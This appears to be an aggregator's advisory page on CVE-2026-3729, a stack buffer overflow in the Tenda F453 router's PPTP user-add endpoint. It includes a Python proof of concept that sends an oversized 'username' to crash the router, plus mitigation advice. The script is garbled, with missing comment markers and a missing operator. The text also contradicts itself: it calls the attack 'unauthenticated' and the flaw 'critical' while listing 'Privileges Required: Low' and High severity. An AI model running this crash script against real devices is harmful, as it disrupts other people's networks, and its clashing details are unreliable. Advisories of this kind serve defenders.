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CVE-2026-3729 details a critical vulnerability in the Tenda F453 router’s web management interface, specifically within the `fromPptpUserAdd` function handled by the `/goform/PPTPDClient` endpoint. This function is responsible for adding new PPTP client users. The flaw is a classic stack-based buffer overflow, triggered by insufficient bounds checking on the `username` and `opttype` parameters. When an attacker sends a crafted HTTP POST request to this endpoint with an overly long string for either argument, the data exceeds the fixed-size buffer allocated on the stack. This overflow can corrupt adjacent memory, overwriting the function’s return address. By carefully controlling the payload, an unauthenticated, remote attacker can redirect program execution to malicious shellcode injected into the same request. Successful exploitation grants the attacker arbitrary code execution with root privileges on the device, leading to full system compromise. The vulnerability is remotely exploitable over the network, requires no user interaction, and has low attack complexity, making it highly dangerous. Public exploit code has been released, confirming the ease of weaponization. This affects all devices running firmware version 1.0.0.3/3.As. Given the public PoC and the device’s typical exposure, immediate mitigation is critical.
dailycve form:
Platform: Tenda F453
Version: 1.0.0.3/3.As
Vulnerability: Stack Buffer Overflow
Severity: High (CVSS 8.8)
Date: March 8 2026
Prediction: Patch within 30 days
What Undercode Say:
Analytics:
- CVE ID: CVE-2026-3729
- CVSS Score: 8.8 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Impact: High (Confidentiality, Integrity, Availability)
- Published Date: 2026-03-08
- CWE: CWE-121 (Stack-based Buffer Overflow)
- Public Exploit: Yes
Exploit:
The following Python script demonstrates a proof-of-concept for triggering the buffer overflow via the `username` parameter.
import requests
Target router IP
target = "http://192.168.0.1"
Endpoint vulnerable
endpoint = "/goform/PPTPDClient"
Malicious payload - a large string of "A"s to cause the overflow
payload = "A" 1000
Data to be sent in the POST request
data = {
'username': payload,
'opttype': 'add'
}
print(f"Sending exploit to {target}{endpoint}...")
try:
response = requests.post(target + endpoint, data=data, timeout=5)
print("Exploit sent. Check if the router is unresponsive.")
except requests.exceptions.Timeout:
print("Router likely crashed (Timeout received).")
except Exception as e:
print(f"An error occurred: {e}")
Protection from this CVE
- Disable Remote Management: Prevent WAN access to the router’s administrative interface.
- Network Segmentation: Isolate the router and IoT devices on a separate VLAN from trusted workstations.
- Monitor Traffic: Deploy IDS/IPS signatures to detect overly long `username` values in requests to
/goform/PPTPDClient. - Firewall Rules: Restrict access to the router’s management ports (80, 443) to only trusted internal IP addresses.
- Vendor Firmware: Apply an official patch from Tenda immediately upon release .
Impact
Successful exploitation of CVE-2026-3729 allows a remote attacker to execute arbitrary code on the Tenda F453 router. This leads to a full device compromise, enabling the attacker to monitor network traffic, steal sensitive data, pivot to internal systems, add the device to a botnet, and permanently disrupt network availability .
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Sources:
Reported By: nvd.nist.gov
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